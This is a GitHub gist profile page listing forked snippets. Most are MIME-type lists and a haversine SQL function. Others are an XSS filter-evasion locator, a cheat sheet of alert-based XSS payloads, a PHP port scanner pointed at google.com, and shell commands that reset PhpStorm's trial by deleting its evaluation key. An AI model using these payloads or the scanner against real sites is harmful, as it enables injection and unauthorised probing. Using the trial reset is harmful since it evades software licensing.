Skip to content

Instantly share code, notes, and snippets.

View Faks's full-sized avatar
🐎
Still horsing around.

Oskars Germovs Faks

🐎
Still horsing around.
View GitHub Profile
@Faks
Faks / phpstorm trial reset
Created September 7, 2022 11:19 — forked from skripal/phpstorm trial reset
phpstorm trial reset
cd ~/.PhpStorm[version]
rm config/eval/PhpStorm[version].evaluation.key
rm config/options/options.xml
cd ~/.java/.userPrefs/jetbrains
rm -rf phpstorm
/**
@ Original Author pimplesushant
@ Credits to: Faks changed to work with meters reference to https://gist.github.com/aramonc/6259563
*/
CREATE FUNCTION haversine(
lat1 REAL,
lng1 REAL,
lat2 REAL,
lng2 REAL
) RETURNS REAL
#
# https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet
# based on the RSnake original http://ha.ckers.org/xss.html
# Retrieved on 2013-11-20
# Much of this wildly obsolete
#
# XSS Locator 2
'';!--"<XSS>=&{()}
@Faks
Faks / MimeTypes.js
Created April 15, 2020 07:02 — forked from paullryan/MimeTypes.js
MimeTypes es6 Object with kind determination for CMS's
const applicationTypesExt = {
'a' : 'application/octet-stream',
'ai' : 'application/postscript',
'bin' : 'application/octet-stream',
'cdf' : 'application/x-cdf',
'csh' : 'application/x-csh',
'dll' : 'application/octet-stream',
'doc' : 'application/msword',
'dot' : 'application/msword',
@Faks
Faks / gist:0df8c1b6f5c814ec9f90105b4b94ea01
Created April 15, 2020 07:02 — forked from lsauer/gist:2838503
comprehensive list of MIME types / subtypes as a tab-separated flatfile
//lsauer.com 2012
//description: comprehensive list of MIME types / subtypes as a tab-separated flatfile
//source: W3C
extension mime
.3dm x-world/x-3dmf
.3dmf x-world/x-3dmf
.a application/octet-stream
.aab application/x-authorware-bin
.aam application/x-authorware-map
@Faks
Faks / gist:9ddf7f1764b93c80df5f6237e2e86f7a
Created April 15, 2020 07:02 — forked from lsauer/gist:2838503
comprehensive list of MIME types / subtypes as a tab-separated flatfile
//lsauer.com 2012
//description: comprehensive list of MIME types / subtypes as a tab-separated flatfile
//source: W3C
extension mime
.3dm x-world/x-3dmf
.3dmf x-world/x-3dmf
.a application/octet-stream
.aab application/x-authorware-bin
.aam application/x-authorware-map
@Faks
Faks / mimetype.json
Created April 15, 2020 07:01 — forked from tabjy/mimetype.json
JavaScript List of selected MIME types (JSON)
"lsauer.com , lo sauer 2013"
"JavaScript List of selected MIME types"
"A comprehensive MIME List is available here: https://gist.github.com/lsauer/2838503"
"mime": {
"a": "application/octet-stream",
"ai": "application/postscript",
"aif": "audio/x-aiff",
"aifc": "audio/x-aiff",
"aiff": "audio/x-aiff",
@Faks
Faks / gist:14c91c4b58ff63636894a185a109cc60
Created April 15, 2020 07:01 — forked from lsauer/gist:5196979
JavaScript List of selected MIME types (JSON)
//lsauer.com , lo sauer 2013
//JavaScript List of selected MIME types
//A comprehensive MIME List is available here: https://gist.github.com/lsauer/2838503
var mimeTypes =
{
'a' : 'application/octet-stream',
'ai' : 'application/postscript',
'aif' : 'audio/x-aiff',
'aifc' : 'audio/x-aiff',
'aiff' : 'audio/x-aiff',
@Faks
Faks / xss_vectors.txt
Created September 20, 2019 04:23 — forked from kurobeats/xss_vectors.txt
XSS Vectors Cheat Sheet
%253Cscript%253Ealert('XSS')%253C%252Fscript%253E
<IMG SRC=x onload="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onafterprint="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onbeforeprint="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onbeforeunload="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onerror="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onhashchange="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onload="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onmessage="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x ononline="alert(String.fromCharCode(88,83,83))">
@Faks
Faks / port_scanner.php
Created July 9, 2019 06:56 — forked from akalongman/port_scanner.php
Port scanner on PHP
<?php
ini_set('max_execution_time', 0);
ini_set('memory_limit', -1);
$host = 'google.com';
$ports = array(21, 25, 80, 81, 110, 143, 443, 587, 2525, 3306);
foreach ($ports as $port)
{
$connection = @fsockopen($host, $port, $errno, $errstr, 2);